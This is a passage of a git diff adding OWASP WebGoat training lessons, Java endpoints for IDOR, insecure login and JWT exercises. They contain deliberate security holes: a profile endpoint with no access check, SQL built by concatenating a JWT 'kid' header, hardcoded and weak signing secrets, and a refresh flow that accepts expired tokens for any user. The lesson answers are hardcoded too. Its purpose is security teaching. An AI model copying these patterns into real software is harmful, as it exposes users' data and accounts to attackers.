userSessionData.setValue("idor-authenticated-as", username); + userSessionData.setValue( + "idor-authenticated-user-id", idorUserInfo.get(username).get("id")); + return success(this).feedback("idor.login.success").feedbackArgs(username).build(); + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } else { + return failed(this).feedback("idor.login.failure").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java new file mode 100644 index 000000000..f216cb580 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java @@ -0,0 +1,83 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.otherProfile1", + "idor.hints.otherProfile2", + "idor.hints.otherProfile3", + "idor.hints.otherProfile4", + "idor.hints.otherProfile5", + "idor.hints.otherProfile6", + "idor.hints.otherProfile7", + "idor.hints.otherProfile8", + "idor.hints.otherProfile9" +}) +public class IDORViewOtherProfile extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @GetMapping( + path = "/IDOR/profile/{userId}", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(@PathVariable("userId") String userId, HttpServletResponse resp) { + Map details = new HashMap<>(); + + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + if (userId != null && !userId.equals(authUserId)) { + // on the right track + UserProfile requestedProfile = new UserProfile(userId); + // secure code would ensure there was a horizontal access control check prior to dishing up + // the requested profile + if (requestedProfile.getUserId().equals("2342388")) { + return success(this) + .feedback("idor.view.profile.success") + .output(requestedProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.profile.close1").build(); + } + } else { + return failed(this).feedback("idor.view.profile.close2").build(); + } + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java new file mode 100644 index 000000000..ec78df0bd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java @@ -0,0 +1,66 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +public class IDORViewOwnProfile { + + @Autowired UserSessionData userSessionData; + + @GetMapping( + path = {"/IDOR/own", "/IDOR/profile"}, + produces = {"application/json"}) + @ResponseBody + public Map invoke() { + Map details = new HashMap<>(); + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + UserProfile userProfile = new UserProfile(authUserId); + details.put("userId", userProfile.getUserId()); + details.put("name", userProfile.getName()); + details.put("color", userProfile.getColor()); + details.put("size", userProfile.getSize()); + details.put("role", userProfile.getRole()); + } else { + details.put( + "error", + "You do not have privileges to view the profile. Authenticate as tom first please."); + } + } catch (Exception ex) { + log.error("something went wrong", ex.getMessage()); + } + return details; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java new file mode 100644 index 000000000..a2fe4cb9c --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "idor.hints.ownProfileAltUrl1", + "idor.hints.ownProfileAltUrl2", + "idor.hints.ownProfileAltUrl3" +}) +public class IDORViewOwnProfileAltUrl extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @PostMapping("/IDOR/profile/alt-path") + @ResponseBody + public AttackResult completed(@RequestParam String url) { + try { + if (userSessionData.getValue("idor-authenticated-as").equals("tom")) { + // going to use session auth to view this one + String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id"); + // don't care about http://localhost:8080 ... just want WebGoat/ + String[] urlParts = url.split("/"); + if (urlParts[0].equals("WebGoat") + && urlParts[1].equals("IDOR") + && urlParts[2].equals("profile") + && urlParts[3].equals(authUserId)) { + UserProfile userProfile = new UserProfile(authUserId); + return success(this) + .feedback("idor.view.own.profile.success") + .output(userProfile.profileToMap().toString()) + .build(); + } else { + return failed(this).feedback("idor.view.own.profile.failure1").build(); + } + + } else { + return failed(this).feedback("idor.view.own.profile.failure2").build(); + } + } catch (Exception ex) { + return failed(this).feedback("an error occurred with your request").build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java new file mode 100644 index 000000000..f1490b2a5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java @@ -0,0 +1,141 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.idor; + +import java.util.HashMap; +import java.util.Map; + +/** Created by jason on 1/5/17. */ +public class UserProfile { + private String userId; + private String name; + private String color; + private String size; + private boolean isAdmin; + private int role; + + public UserProfile() {} + + public UserProfile(String id) { + setProfileFromId(id); + } + + // + private void setProfileFromId(String id) { + // emulate look up from database + if (id.equals("2342384")) { + this.userId = id; + this.color = "yellow"; + this.name = "Tom Cat"; + this.size = "small"; + this.isAdmin = false; + this.role = 3; + } else if (id.equals("2342388")) { + this.userId = id; + this.color = "brown"; + this.name = "Buffalo Bill"; + this.size = "large"; + this.isAdmin = false; + this.role = 3; + } else { + // not found + } + } + + public Map profileToMap() { + Map profileMap = new HashMap<>(); + profileMap.put("userId", this.userId); + profileMap.put("name", this.name); + profileMap.put("color", this.color); + profileMap.put("size", this.size); + profileMap.put("role", this.role); + return profileMap; + } + + public String toHTMLString() { + String htmlBreak = "
"; + return "userId" + + this.userId + + htmlBreak + + "name" + + this.name + + htmlBreak + + "size" + + this.size + + htmlBreak + + "role" + + this.role + + htmlBreak + + "isAdmin" + + this.isAdmin; + } + + // + public String getUserId() { + return userId; + } + + public void setUserId(String userId) { + this.userId = userId; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getColor() { + return color; + } + + public void setColor(String color) { + this.color = color; + } + + public String getSize() { + return size; + } + + public void setSize(String size) { + this.size = size; + } + + public boolean isAdmin() { + return isAdmin; + } + + public void setAdmin(boolean admin) { + isAdmin = admin; + } + + public int getRole() { + return role; + } + + public void setRole(int role) { + this.role = role; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java new file mode 100644 index 000000000..d017421e2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.insecurelogin; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureLogin extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "insecure-login.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java new file mode 100644 index 000000000..8d39a594d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.insecurelogin; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.web.bind.annotation.*; + +@RestController +public class InsecureLoginTask extends AssignmentEndpoint { + + @PostMapping("/InsecureLogin/task") + @ResponseBody + public AttackResult completed(@RequestParam String username, @RequestParam String password) { + if ("CaptainJack".equals(username) && "BlackPearl".equals(password)) { + return success(this).build(); + } + return failed(this).build(); + } + + @PostMapping("/InsecureLogin/login") + @ResponseStatus(HttpStatus.ACCEPTED) + public void login() { + // only need to exists as the JS needs to call an existing endpoint + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java new file mode 100644 index 000000000..31dee5ef5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/22/17. + */ +@Component +public class JWT extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A7; + } + + @Override + public String getTitle() { + return "jwt.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java new file mode 100644 index 000000000..9b27236cb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java @@ -0,0 +1,22 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JWTDecodeEndpoint extends AssignmentEndpoint { + + @PostMapping("/JWT/decode") + @ResponseBody + public AttackResult decode(@RequestParam("jwt-encode-user") String user) { + if ("user".equals(user)) { + return success(this).build(); + } else { + return failed(this).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java new file mode 100644 index 000000000..e84bbf809 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import java.sql.ResultSet; +import java.sql.SQLException; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.*; + +/** + * + * + *

+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-final-hint1", + "jwt-final-hint2", + "jwt-final-hint3", + "jwt-final-hint4", + "jwt-final-hint5", + "jwt-final-hint6" +}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + private JWTFinalEndpoint(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/JWT/final/follow/{user}") + public @ResponseBody String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("/JWT/final/delete") + public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return failed(this).feedback("jwt-invalid-token").build(); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = + Jwts.parser() + .setSigningKeyResolver( + new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try (var connection = dataSource.getConnection()) { + ResultSet rs = + connection + .createStatement() + .executeQuery( + "SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); + while (rs.next()) { + return TextCodec.BASE64.decode(rs.getString(1)); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }) + .parseClaimsJws(token); + if (errorMessage[0] != null) { + return failed(this).output(errorMessage[0]).build(); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return failed(this).feedback("jwt-final-jerry-account").build(); + } + if ("Tom".equals(username)) { + return success(this).build(); + } else { + return failed(this).feedback("jwt-final-not-tom").build(); + } + } catch (JwtException e) { + return failed(this).feedback("jwt-invalid-token").output(e.toString()).build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java new file mode 100644 index 000000000..abcd08edd --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.jwt; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class JWTQuiz extends AssignmentEndpoint { + + private final String[] solutions = {"Solution 1", "Solution 2"}; + private final boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/JWT/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) { + int correctAnswers = 0; + + String[] givenAnswers = {question_0_solution[0], question_1_solution[0]}; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/JWT/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java new file mode 100644 index 000000000..945bb57da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java @@ -0,0 +1,157 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import static org.springframework.http.ResponseEntity.ok; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.ExpiredJwtException; +import io.jsonwebtoken.Header; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({ + "jwt-refresh-hint1", + "jwt-refresh-hint2", + "jwt-refresh-hint3", + "jwt-refresh-hint4" +}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = new ArrayList<>(); + + @PostMapping( + value = "/JWT/refresh/login", + consumes = MediaType.APPLICATION_JSON_VALUE, + produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public ResponseEntity follow(@RequestBody(required = false) Map json) { + if (json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equalsIgnoreCase(user) && PASSWORD.equals(password)) { + return ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = new HashMap<>(); + claims.put("admin", "false"); + claims.put("user", user); + String token = + Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = new HashMap<>(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("/JWT/refresh/checkout") + @ResponseBody + public ResponseEntity checkout( + @RequestHeader(value = "Authorization", required = false) String token) { + if (token == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return ok(success(this).build()); + } + return ok(failed(this).feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return ok(failed(this).output(e.getMessage()).build()); + } catch (JwtException e) { + return ok(failed(this).feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("/JWT/refresh/newToken") + @ResponseBody + public ResponseEntity newToken( + @RequestHeader(value = "Authorization", required = false) String token, + @RequestBody(required = false) Map json) { + if (token == null || json == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + String user; + String refreshToken; + try { + Jwt jwt = + Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java new file mode 100644 index 000000000..dac1ef5cc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java @@ -0,0 +1,99 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.jwt; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.TextCodec; +import java.time.Instant; +import java.util.Calendar; +import java.util.Date; +import java.util.List; +import java.util.Random; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/23/17. + */ +@RestController +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + public static final String[] SECRETS = { + "victory", "business", "available", "shipping", "washington" + }; + public static final String JWT_SECRET = + TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]); + private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = + List.of("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + + @RequestMapping(path = "/JWT/secret/gettoken", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getSecretToken() { + return Jwts.builder() + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", 